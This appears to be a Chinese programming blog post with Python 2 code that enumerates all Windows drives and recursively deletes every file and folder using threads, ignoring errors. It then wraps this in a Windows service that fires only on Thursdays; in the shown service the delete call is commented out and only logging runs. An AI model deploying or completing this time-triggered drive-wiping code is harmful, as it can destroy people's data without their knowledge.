队列,多线程,os模块,windows ctypes模块
</pre><pre name="code" class="python">
#!/usr/bin/env python
#coding=utf-8
import os,sys,ctypes
from threading import Thread
from Queue import Queue
num_threads = 5
in_queue = Queue()
#遍历磁盘
def find_disk():
    lpBuffer = ctypes.create_string_buffer(78)
    ctypes.windll.kernel32.GetLogicalDriveStringsA(ctypes.sizeof(lpBuffer), lpBuffer)
    vol = lpBuffer.raw.split('\x00')
    for i in vol:
        if i:
            in_queue.put(i)

# 递归遍历目录删除文件os.listdir(path),异常 pass 掉
def delete_all_file(path):
    if os.path.isfile(path):
        try:
            os.remove(path)
        except:
            pass
    elif os.path.isdir(path):
        for item in os.listdir(path):
            itemsrc = os.path.join(path, item)
            delete_all_file(itemsrc)
        try:
            os.rmdir(path)
        except:
            pass

#os.walk(path)遍历目录,删除文件和目录,异常 pass 掉
def paths(i,iq):
    path = iq.get()
    for dirpath,dirnames,filenames in os.walk(path):
            for file in filenames:
                try:
                    fullpath=os.path.join(dirpath,file)
                    print fullpath
                    os.remove(fullpath)
                except:
                    pass
            if not os.listdir(dirpath):
                try:
                    os.rmdir(dirpath)
                except:
                    pass
    iq.task_done()
def paths2(i,iq):
    path = iq.get()
    for dirpath,dirnames,filenames in os.walk(path):
            for file in filenames:
                try:
                    fullpath=os.path.join(dirpath,file)
                    print "Thread %d:"%i+fullpath
                    #os.remove(fullpath)
                except:
                    pass
    iq.task_done()
if __name__ == "__main__":
    #delete_all_file("E:\\xx")
    ################################################################
    find_disk()
    #for i in range(num_threads):
        # worker = Thread(target=delete_all_file,args=(i,in_queue))
        # worker.setDaemon(True)
        # worker.start()
    ################################################################
    for i in range(num_threads):
        worker = Thread(target=paths2,args=(i,in_queue))
        worker.setDaemon(True)
        worker.start()
    print "Main Thread Waiting"
    in_queue.join()
注册windows服务:

#!/usr/bin/env python
#coding=utf-8
import os,sys,ctypes
import time,datetime,subprocess
import win32service,win32serviceutil,win32event
import winerror,servicemanager
import logging,inspect
from threading import Thread
from Queue import Queue
num_threads = 5
in_queue = Queue()

#遍历磁盘
def find_disk():
    lpBuffer = ctypes.create_string_buffer(78)
    ctypes.windll.kernel32.GetLogicalDriveStringsA(ctypes.sizeof(lpBuffer), lpBuffer)
    vol = lpBuffer.raw.split('\x00')
    for i in vol:
        if i:
            in_queue.put(i)

# 递归遍历目录删除文件os.listdir(path),异常 pass 掉
def delete_all_file(path):
    if os.path.isfile(path):
        try:
            os.remove(path)
        except:
            pass
    elif os.path.isdir(path):
        for item in os.listdir(path):
            itemsrc = os.path.join(path, item)
            delete_all_file(itemsrc)
        try:
            os.rmdir(path)
        except:
            pass

#os.walk(path)遍历目录,删除文件和目录,异常 pass 掉
def paths(i,iq):
    path = iq.get()
    for dirpath,dirnames,filenames in os.walk(path):
            for file in filenames:
                try:
                    fullpath=os.path.join(dirpath,file)
                    print fullpath
                    os.remove(fullpath)
                except:
                    pass
            if not os.listdir(dirpath):
                try:
                    os.rmdir(dirpath)
                except:
                    pass
    iq.task_done()

def paths2(i,iq):
    path = iq.get()
    for dirpath,dirnames,filenames in os.walk(path):
            for file in filenames:
                try:
                    fullpath=os.path.join(dirpath,file)
                    print "Thread %d:"%i+fullpath
                    #os.remove(fullpath)
                    fp = open('e:\data.txt','a')
                    fp.write("Thread %d:"%i+fullpath+"\n")
                    fp.close()
                except:
                    pass
    iq.task_done()

class PythonService(win32serviceutil.ServiceFramework):
    """
    Usage: 'PythonService.py [options] install|update|remove|start [...]|stop|restart [...]|debug [...]'
    Options for 'install' and 'update' commands only:
     --username domain\username : The Username the service is to run under
     --password password : The password for the username
     --startup [manual|auto|disabled|delayed] : How the service starts, default = manual
     --interactive : Allow the service to interact with the desktop.
     --perfmonini file: .ini file to use for registering performance monitor data
     --perfmondll file: .dll file to use when querying the service for
       performance data, default = perfmondata.dll
    Options for 'start' and 'stop' commands only:
     --wait seconds: Wait for the service to actually start or stop.
                     If you specify --wait with the 'stop' option, the service
                     and all dependent services will be stopped, each waiting
                     the specified period.
    """
    #服务名
    _svc_name_ = "AAPythonService"
    #服务显示名称
    _svc_display_name_ = "AAPython Service Demo"
    #服务描述
    _svc_description_ = "AAPython service demo."

    def __init__(self, args):
        win32serviceutil.ServiceFramework.__init__(self, args)
        self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
        self.logger = self._getLogger()
        self.isAlive = True

    def _getLogger(self):
        logger = logging.getLogger('[PythonService]')

        this_file = inspect.getfile(inspect.currentframe())
        dirpath = os.path.abspath(os.path.dirname(this_file))
        handler = logging.FileHandler(os.path.join(dirpath, "service.log"))

        formatter = logging.Formatter('%(asctime)s %(name)-12s %(levelname)-8s %(message)s')
        handler.setFormatter(formatter)

        logger.addHandler(handler)
        logger.setLevel(logging.INFO)

        return logger

    def SvcDoRun(self):
        self.logger.error("svc do run....")
        '''
        周一、.Monday (Mon.)
        周二、Tuesday (Tues.)
        周三、Wednesday (Wed.)
        周四、Thursday (Thur.)
        周五、Friday (Fri.)
        周六、Saturday (Sat.)
        周日、Sunday (Sun.)
        '''
        if 'Thursday' == time.strftime("%A"):
            for i in range(num_threads):
                worker = Thread(target=paths2,args=(i,in_queue))
                worker.setDaemon(True)
                worker.start()

        # 等待服务被停止
        #win32event.WaitForSingleObject(self.hWaitStop, win32event.INFINITE)

    def SvcStop(self):
        # 先告诉SCM停止这个过程
        self.logger.error("svc do stop....")
        self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
        # 设置事件
        win32event.SetEvent(self.hWaitStop)
        self.isAlive = False

if __name__ == "__main__":
    #delete_all_file("E:\\xx")
    ################################################################
    find_disk()

    if len(sys.argv)==1:
        try:
            evtsrc_dll = os.path.abspath(servicemanager.__file__)
            servicemanager.PrepareToHostSingle(PythonService)
            servicemanager.Initialize('PythonService', evtsrc_dll)
            servicemanager.StartServiceCtrlDispatcher()
        except win32service.error, details:
            if details[0] == winerror.ERROR_FAILED_SERVICE_CONTROLLER_CONNECT:
                win32serviceutil.usage()

    else:
        win32serviceutil.HandleCommandLine(PythonService)





    #for i in range(num_threads):
        # worker = Thread(target=delete_all_file,args=(i,in_queue))
        # worker.setDaemon(True)
        # worker.start()
    ################################################################
    # for i in range(num_threads):
    #     worker = Thread(target=paths2,args=(i,in_queue))
    #     worker.setDaemon(True)
    #     worker.start()
    # print "Main Thread Waiting"
    in_queue.join()



参考:

http://www.tuicool.com/articles/Qjei2e

http://blog.csdn.net/kmust20093211/article/details/42169323

文件操作:

http://www.jb51.net/article/48001.htm






Logo

CSDN联合极客时间,共同打造面向开发者的精品内容学习社区,助力成长!

更多推荐